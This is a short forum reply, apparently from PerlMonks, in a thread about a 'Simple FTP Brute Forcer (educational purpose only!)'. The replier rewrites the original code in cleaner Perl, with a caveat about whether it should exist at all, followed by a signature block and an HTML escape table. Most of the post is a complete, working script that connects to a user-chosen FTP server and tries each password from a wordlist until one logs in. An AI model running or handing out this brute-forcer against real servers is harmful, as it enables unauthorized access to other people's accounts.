Assuming that this code should be written, it would be better written as so:
use strict; use warnings; use Net::FTP; print "Enter the FTP server I should try to brute force::\n"; chomp(my $server = <STDIN>); print "What username do you want to brute force?\n"; chomp(my $user = <STDIN>); my $ftp = Net::FTP->new( $server ) or die "\nCould not connect: $!"; open WORDLIST, "wordlist.txt" or die "\nCould not open wordlist.txt. Exiting...\n"; chomp( my @wordlist = <WORDLIST> ); close WORDLIST; my $password; foreach $password (@wordlist) { next unless $ftp->login($user, $password); print "$password is the password for user : $user !\n"; last; } die "Password was not found! Error" unless $password;
------
We are the carpenters and bricklayers of the Information Age.
Then there are Damian modules.... *sigh* ... that's not about being less-lazy -- that's about being on some really good drugs -- you know, there is no spoon. - flyingmoose
I shouldn't have to say this, but any code, unless otherwise stated, is untested
In reply to Re: Simple FTP Brute Forcer (educational purpose only!)
by dragonchild
in thread [untitled node, ID 352761]
by azerton
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |